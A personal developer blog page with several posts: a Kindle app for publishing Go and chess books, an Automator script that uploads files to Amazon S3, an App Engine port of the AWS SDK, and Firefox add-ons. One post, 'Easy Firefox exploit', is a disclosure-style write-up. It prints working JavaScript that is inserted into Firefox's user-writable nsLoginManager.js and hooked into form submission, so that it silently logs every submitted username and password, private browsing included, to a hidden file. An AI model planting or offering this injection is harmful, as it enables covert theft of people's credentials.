World Line

Kindle Goban

with 11 comments

One of the things I’ve been working on in my copious free time has been a pair of Kindle applications that are near to my heart. By this time it’s no surprise to anyone that Amazon has released a Kindle Development Kit which allows a couple of beta developers to write native applications for the device; it’s not entirely surprising that this was announced two weeks before the anticipated iPad announcement. What is surprising is that, around six months later, there is still no sign of app distribution actually beginning, nor have they given any of the beta developers even an inkling of when (or if) that will be happening.

Personal gripes aside, the technology itself is pretty interesting. (I’m technically under an NDA, so I’ll avoid saying anything not obvious from the publicly-available Javadocs) The first thing that is clearly being emphasized, right from the name — it’s not “Kindle Applications” but “Kindle Active Content” that we’re developing, after all — is that the KDK (or, indeed, the Kindle) is not well-suited to traditional mobile applications (by which everyone means, iOS applications). First of all, the screen’s refresh rate is literally measured in seconds, and the amount of processing time it takes to do something like load a bunch of images can actually safely be measured in tens of seconds. Secondly, (as-is-publicly-stated-on-their-webpage-so-please-don’t-sue-me-Amazon), because the wireless plan is all paid for by Amazon, they’re very stingy with the amount of data your app can use, there’s no way to programatically access your current total usage, overflow charges are actually charged to the developer, and the lack of a Wi-Fi option, the foregone conclusion is that most developers will not make more than nominal use of the networking component of the Kindle.

So what does that leave us with? Surprisingly, my answer is still “quite a lot.” Because Amazon is right, the Kindle is not an iPad no matter how much the Apple blogs compare them, and the kinds of “apps” you see on the latter does not translate into good “Active Content” for the former. Good Kindle content is exactly what their marketing name sounds like — a way of leveraging the advantage of an electronic device over a paper book, rather than constantly trying to imitate every physical aspect of it. Of course, a lot of people’s imagination when they hear that goes as far as “embedded video” or something (which can be very well-done, of course), but I think there’s a lot more to it than that; people have just become so used to the static nature of books today, that seeing their future as more than just a webpage is really quite a mental leap. Now, when it comes to most types of books, like fiction, that probably is about as far as we can stretch the metaphor. But for other “technical-knowledge” kinds of books, we can do much better.

For example, I’m really into Chess and Go. It probably comes as a surprise to most people not in that “scene” that there’s actually a vast technical literature behind each of these two subjects. There are (literally) thousands of English-language Chess books alone, and dozens more being published every year; and I’m not just talking about “Mickey-Mouse Teaches Chess” types of things either. These consist of important new research in opening ideas, widely read by virtually all competitive players, and cuttingly relevant. It’s not unusual for high-level chess players to describe a book printed in 2005 as “very good, but too outdated to be useful.” My point here is just that I’m not picking a purely niche, toy example to start off. Now, if you’ve ever looked at a non-beginner-oriented Chess book, it often looks something like this:

Despite what it looks like, this is actually NOT a Perl script! Humans read this!

Okay, so two problems here. First of all, in spite of the superhuman impression many chess players would like you to have of them, it’s not easy for anyone to visualize the lines shown above in the kind of way that would be conducive to learning. Even for super-grandmasters, all you have to do is look at games from blindfold tournaments like Melody-Amber to confirm that thinking of chess in purely logical, textual terms is a handicap for anyone. Most books will print diagrams every so often, but they’re limited by space so these are typically only printed in whichever positions the author deems critical; it is left up to the players to visualize the lines in between. So in order to really make use of this book, you’d need to have a physical board or a chess program available to transcribe the moves onto — at which point, what’s the point of even studying this in a book? ChessBase probably has a nice DVD about the French Defence you can watch instead, which would surely be a much more pleasant experience. Second of all, chess players born after the 1970’s would have a hard time understanding the notation in this old book anyway, because it uses “descriptive notation” rather than the modern “algebraic notation” that new players are brought up on. That’s right: chess has two mutually exclusive but equivalent languages for the same market — and the vast majority of books are only ever printed in one of them. And yet people put up with this because there is something useful and exciting being written here, it’s just hidden behind this wall of notation. It’s the price you pay to remain a competitive player.

Solving problems like this, I think, is where the Kindle can bring an actual measurable advantage over the paperbacks to which it’s constantly being unfavourably compared. It should be striving for more than simple duplication. On a Kindle, the software can convert algebraic notation to descriptive notation to match the reader’s preference. It can place diagrams wherever and as often as the reader wants — and make them interactive, with the user scrolling through moves and trying sidelines not covered by the text. The author can choose as many real games to illustrate a point as he wants without worrying about taking up too many pages or boring they user, because they can all be collapsed or expanded on demand.Β This, also, is where the Kindle differentiates itself from the iPad. There’s over 20 chess-playing apps in the Apple App Store — but there can be a chess-publishing app on the Kindle store, and any serious player can tell you which one they’d rather have available on a long airplane ride. And although chess and Go are my hobby-horses that I perennially focus my examples on, it doesn’t take much to see that the same principle applies to other technical topics in which text is not necessarily the most natural way to express ideas — engineering, programming, mathematics … the sky’s the limit.

So this is why I’m excited about the KDK in spite of its shortcomings. This is what the KDK eventually could become; it’s not yet, because unfortunately the applications are still stand-alone at this point and not “plug-in-able” to items in the library. The place where Active Content belongs, in my opinion, is as an extension to the MOBI format — or an entirely new format which Amazon almost uniquely is in the position to define and propagate. But I’ll take what I can get. I’ve started implementing a publishing platform for Go (as a proof-of-concept) which allows a lot of the things I’ve described. I’ve also got a branch running for Chess, but that one’s not testable on device yet because of technical issues (missing Unicode glyphs for the chess pieces). You can find both of them on GitHub at KindleChess and KindleGoban respectively, but it’s really kind of moot for now because nobody except other developers can actually run Kindle applications yet. To whet your appetite, however, and possibly as one of the first examples of Kindle apps in the wild, here’s what it looks like:

Anyone recognize the match?

At the moment, it can take any SGF and generate a book-like thing out of it, with markup, comments, and variations. Of course, this falls short of the vision I outlined above, where the visual widgets plug into the flow of otherwise normal text — but that will probably have to wait until the KDK becomes more powerful and allows code to be embedded into regular library items (or even just let applications provide library items… I’ll write a whole parser if I have to).

Written by Adrian Petrescu

July 3, 2010 at 4:28 pm

Posted in Chess, Development, Go

Tagged with

AWS Automator Actions

leave a comment »

Automator has always been one of those OS X features that I feel never gets enough attention, except when it’s in one of those “comparison” articles that always seems to mention it because it’s so unique and novel; but once the initial wave of First Look and Sneak Peek and Oh-my-God-I-can’t-believe-we’re-the-only-magazine-covering-this articles dies out, you never hear about it again, even though there is, in fact, a fairly active community of users and developers around it.

In fact, Snow Leopard added, with little fanfare, many useful features to Automator 2.1; the most interesting among these, I think, is the ability to run shell scripts in anything that emulates a shell, including Python (and Ruby, and Perl). Now, of course, there had been hand-made solutions to this before (Automator’s extendability being another not-often-touted feature) but having it built-in just makes distribution and adoption easier. Apple’s version, as well, seems a bit simpler since it doesn’t use the PyObjC bridge to pass around the full AppleScript event descriptor, instead just passing the text in through argv or stdin. Of course this means it’s strictly less powerful than Johnathan’s version, but let’s face it — if you really need to be using this bridge, it’s probably overkill for Automator anyway. Besides, it’s almost always possible to save whatever kind of data you need (an image, most commonly) to a temporary file in /tmp and just pass the path to Python, anyway.

Anyway, although I’m not a heavy Automator user by any stretch (most people who can write proper scripts aren’t, after all), I’m a big proponent of it as an idea, particularly in the way it easily allows non-technical users to automate away a lot of the tedium that comprises the majority of many people’s computing experience. And even if you can script something in the traditional way, Automator is often the easiest way to Cocoa-ize a simple script so that it can grab selections from Finder, insert itself into the Services menu, etc. Yesterday I wanted to do something to this effect — an easy way to upload directory structures to S3, sort of as an impulse click rather than going through the trouble of opening up a client, etc., since it’s an operation Rachel and I perform manually all the time. It was delightfully simple to use Automator to pass in Finder selections to a simple Python script that did the heavy lifting. Without Automator, the boilerplate would have been many times longer than the remarkably simple script itself:

import os
import sys

AWS_ACCESS_KEY = sys.argv[1]
AWS_SECRET_KEY = sys.argv[2]
bucket_name = sys.argv[3].lower()
return_url = ""

files = []

for f in sys.argv[4:]:
	files.append(f)

sys.path.insert(0, '/sw/lib/python2.6/site-packages')
import boto
import boto.s3 as s3
from boto.s3.key import Key

def recursively_upload(f, prefix = ''):
	if (os.path.isdir(f)):
		for ff in os.listdir(f):
			recursively_upload('/'.join([f, ff]), ''.join([prefix, f[f.rindex('/')+1:], '/']))
	else:
		global return_url
		k = Key(bucket)
		k.key = ''.join([prefix, f[f.rindex('/')+1:]])
		k.set_contents_from_filename(f, policy='public-read')
		return_url = "".join(["http://", bucket_name, ".s3.amazonaws.com/", k.key])

conn = boto.connect_s3(AWS_ACCESS_KEY, AWS_SECRET_KEY)
bucket = conn.create_bucket(bucket_name, location=s3.connection.Location.DEFAULT)

for f in files:
	recursively_upload(f)

print return_url

The only gotcha is the sys.path.insert(0, '/sw/lib/python2.6/site-packages') line, which is there because the sandboxed shell that Automator spawns has no access to PYTHONPATH or anything; you have to programatically load third-party modules if you want them. The module, in this case, is boto, an AWS library for Python; you’ll have to change that line to the appropriate path for your installation if you want to run it (or, if you installed boto-py26 through Fink, don’t do anything). When you combine the above script with the following Automator workflow:

You know what that is? That's dozens of lines of boring Python that didn't get written!

Equally happy with flat files and directories

Simply saving that in Automator automatically gives you what you see on the right here. Also, I took both these screenshots in just a few seconds with another Automator script that took just a few minutes to write that automatically takes a screenshot, uploads it to S3, and puts the link into your clipboard. Both of these scripts and workflows are available from my Codebook GitHub repository.

Of course, I think it would be infinitely better to have native Automator actions for common AWS operations, but that would require a solid Objective-C library first, of which there aren’t any yet 😦

Written by Adrian Petrescu

July 3, 2010 at 2:41 pm

Posted in Development

Tagged with ,

Introducing the GAE-AWS SDK for Java

with 13 comments

I’m making what I hope will be a useful release today — a version of the Amazon Web Services SDK for Java that will run from inside of Google App Engine. This wouldn’t work if you simply included the JAR that AWS provides directly into GAE’s WAR, because GAE’s security model doesn’t allow the Apache Commons HTTP Client to create the sockets and low-level networking primitives it requires to establish an HTTP connection; instead, Google requires you to make all connections through its URLFetch utility. This version of the SDK does exactly that, swapping out the Apache HTTP Connection Manager for one that returns URLFetchHttpConnections.

With it, you can make use of the multitude of powerful AWS services (excepting S3, which requires more work before it will integrate properly) from within Google App Engine, making both of these tools significantly more useful. In fact, AWS seems to nicely complement several of Google App Engine’s deficiencies; for example, my original motivation for creating this was to be able to make SimpleDB requests from GAE for a school project I’m working on.

Using it is very simple — just download the full package from its GitHub page, and add all of the JAR files in the package (including the third-party/ directory) to Google App Engine’s war/WEB-INF/lib/ directory, and add them to your build path in Eclipse. Then just use the SDK in the usual fashion! For example, the following lines of code:

		AmazonSimpleDB sdb = new AmazonSimpleDBClient(new PropertiesCredentials("AWSCredentials.properties"));
		sdb.setEndpoint("http://sdb.amazonaws.com");

		String serverInfo = getServletContext().getServerInfo();
		String userAgent = getThreadLocalRequest().getHeader("User-Agent");
		return "Hello, " + input + "!<br><br>I am running " + serverInfo
				+ ".<br><br>It looks like you are using:<br>" + userAgent
				+ ".<br><br>You have " + sdb.listDomains().getDomainNames().size() + " SDB domains.";

turns the usual GWT welcome page into this:

Notice the last line there!

I intend to merge in all upstream changes from the real AWS SDK for Java, of which this is simply a GitHub fork. Please post any issues or questions you have in the GitHub page!

Written by Adrian Petrescu

June 22, 2010 at 9:38 am

Posted in Development

Tagged with ,

Twanslate!

with 10 comments

Last night I wrote another quick-and-dirty Firefox extension; or rather, I wrote a quick-and-dirty Greasemonkey script based on Jack Hsu’s script which I then used Rochak Chauhan‘s User Script Compiler on to generate a skeleton extension to flesh out. Isn’t involuntary collaboration awesome? πŸ™‚

The script is very simple; it adds a stylish globe icon underneath the “Star” in each tweet on the Twitter timeline. Clicking it makes an API call to Google Translate and adds an overlay containing the translation to English, from whatever language it happens to be in.

Unfortunately, my extension can't make Google Translate suck any less...

I’ve found it very useful, and not just for understanding certain Japanese AV stars. Hopefully someone else shares my passion for Sora β€” I mean, international culture β€” and can give it enough feedback on the official add-on site to be able to nominate it for public release. If Send to EidoGo managed to be selected, despite being thoroughly niche, I’m sure Twanslate has nothing to worry about πŸ™‚

Of course, as the product of an evening’s worth of work, it’s not perfect yet. In the interest of full disclosure, here are the outstanding issues.

  • You may have heard that Greasemonkey-based scripts work automagically in Google Chrome. This has some truth to it, but like most things, it’s not that simple. Chrome’s security model is stricter than Greasemonkey’s, so things like hijacking the unsafeWindow.onPageChange() call don’t automatically work. I think I can tweak it to make it work, if it turns out anyone wants it.
  • New tweets that come in with the “X new tweets” notification at the top do not get the translate button, even though they do when you click the “More tweets…” button at the bottom. This is a Twitter weirdness β€” for some reason their Javascript does call the window.onPageChange() when it’s done adding tweets to the bottom of the timeline, but does not call it when adding tweets to the top, even though the change to the DOM is indistinguishable. Thus it’s much harder to hijack that page event. I’ll figure it out one day. For now, just refresh the page to get it.
  • The output language is not configurable, it’s always English for now. Will be fixed in a subsequent release.

That’s about it. I hope somebody else finds this useful.

Written by Adrian Petrescu

April 20, 2010 at 9:49 pm

Posted in Development

Tagged with

Send to EidoGo 1.2 now Public!

leave a comment »

It took a few weeks, but my bid to have the Send to EidoGo add-on for Firefox be made a public extension has succeeded! πŸ™‚ You can find it at its new home as Addon 6774 on the Add-ons for Firefox homepage. Thanks to all of the users who downloaded, used, and reviewed the extension for the last two years. (Extra bonus points for those who reminded me every time I let the compatibility version string fall behind…)

Since the old support post died with my last host, I guess I will link this new post as the “support site” for the extension, since I don’t anticipate too many problems with such a simple piece of code πŸ™‚ Leave a comment if there’s anything I need to fix, change, or add to it. Cheers!

Written by Adrian Petrescu

February 2, 2010 at 8:42 pm

Posted in Development, Go

Tagged with ,

Easy Firefox “exploit”

leave a comment »

I’m a big fan of Firefox, both as an application and as an “institution” — but I’ve always been a bit intrigued by the amount of serious work it does in regular, local-user-write-access JavaScript files. Not just things related to the chrome, but actual (what most people would consider) “backend” work, particularly in the area of tossing around user credentials. In fact, the little “Login Prompter” that you see whenever you log into a page for the first time —

Firefox Login Prompter

Firefox Login Prompter

This bar is actually fully implemented in the innocuous-sounding nsLoginManager.js and nsLoginManagerPrompter.js files, which are (on OS X and Windows, not on Linux) writable by unprivileged users. The impact of this decision becomes clearly felt when you peek inside these files: it’s full of functions that scrape passwords from all the input fields on a page, events that are fired whenever input forms are submitted, and handles to every form of personal information Firefox sees — all conveniently executed for you on every single page. Once I saw this, the exploit was simple. Obviously if this little toolbar was responsible for storing the credentials to Firefox’s backend storage, it has some sort of handle to them. If I just looked at the code near the event handlers for those buttons, I could make them both act as “Save Password”, regardless of their labeling. In fact, once I actually saw the source the reality became even worse — I don’t need the user to click on anything, in fact, I don’t need that bar to show up at all. I just added a function like this to the very top of nsLoginManager.js:

function StealCredentials(username, password, hostname) {
    var saveFile = "/Users/adrian/.pass.txt";
    var file = Components.classes["@mozilla.org/file/local;1"]
        .createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(saveFile);
    if (file.exists() == false) {
        file.create(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 420);
    }

    var outputStream = Components.classes["@mozilla.org/network/file-output-stream;1"]
        .createInstance(Components.interfaces.nsIFileOutputStream);

    outputStream.init(file, 0x04 | 0x08 | 0x10, 420, 0);
    var stolenStuff = username + '\t' + password + '\t' + hostname + '\n';
    outputStream.write(stolenStuff, stolenStuff.length);
    outputStream.close();

    // Mischief managed!
}

Now you just need to call this from any of the juicy weak spots in nsLoginManager.js. My personal choice was in the _onFormSubmit event handler, just before the following block:

        StealCredentials(usernameField.value, newPasswordField.value, hostname);

        if (this._inPrivateBrowsing) {
            // We won't do anything in private browsing mode anyway,
            // so there's no need to perform further checks.
            this.log("(form submission ignored in private browsing mode)");
            return;
        }

That’s right — Firefox’s touted super-secure “Private Browsing Mode” is basically just a manual check in a user-writable JavaScript file — under the hood, the credentials pass through it just the same. The change I’m describing works equally well whether the user has the false sense of security of Private Browsing Mode, disabled login prompter, whatever. Whenever a form is submitted and this Javascript jumps into action, the password fields are scraped, conveniently parsed for us (so that Firefox knows which form elements to save), and then written directly to the file we gave in StealCredentials().

The consequences are clear. An attacker can even just make this change on their own system — how many times have you borrowed someone’s laptop to check your e-mail, trusting that telling Firefox not to remember your password and signing out right afterwards was protection enough? The attacker will have your credentials in the text file regardless, even though Firefox will not list it as saved. That’s actually the least of the problem, though. Since the files are user-writable, all a black hat needs is 10 seconds of physical local access to apply this change (possibly through a remotely-downloaded script that the attacker prepares in advance), and there’s really no chance any victim will detect it until the next Firefox update. The attacker doesn’t even need further physical access to the machine after that — instead of a nsILocalFile, the change could trivially be modified to use nsISocketTransport as an output stream, sending the passwords across the Internet to a server waiting to listen for them. (Yes I’ve tried this. Yes it works. I’m not posting that code to discourage at least the laziest of script kiddies). Kiosk computers, coworkers — the list of possibilities is staggering.

The only solution I can think of, really, is to move this entire section of logic out of Javascript and into the Firefox binary proper — at least that is usually afforded some level of protection by the operating system automatically (and if an attacker can modify that with his own copy, then all bets are off anyway).

At least until then, any remotely technically-savvy person can exploit any Windows or OS X Firefox installations in his vicinity.

Written by Adrian Petrescu

January 27, 2010 at 6:32 am

Posted in Development

Tagged with ,

Send to EidoGo 1.2

leave a comment »

I’ve gotten a lot of e-mails about the death of the Send to EidoGo Firefox Plugin, precipitated by two things:

  • I wasn’t keeping up-to-date with the compatibility version string as Firefox put out newer versions.
  • My credit card expired, which led to the cancellation of my old host (http://komrades.org)

The former issue can be solved by disabling compatibility checking, and the latter by grabbing it from the experimental add-on site hosted by Mozilla, but of course neither of these are the most user-friendly solutions.

So, sorry about the wait — I’ve updated the maxVersion up to 3.6, so it should be safe for the next little while. Also, although it’s still available at the Mozilla-hosted hub (which I want to make the “official” distribution point from now on — I should tell Justin Kramer to update the link), it’s not discoverable unless you’re logged in as a developer. So I’ve begun the process of nominating the extension for public release. Thanks for all the positive reviews and links, guys πŸ™‚ It should help with the approval process, hopefully enough to counteract the “widely useful” requirement for public extensions. With any luck in a week or two, Google searches for EidoGo will turn up the Mozilla link instead of the old, dead blog link.

Written by Adrian Petrescu

January 26, 2010 at 11:36 pm

Posted in Development, Go

Tagged with ,

%d bloggers like this: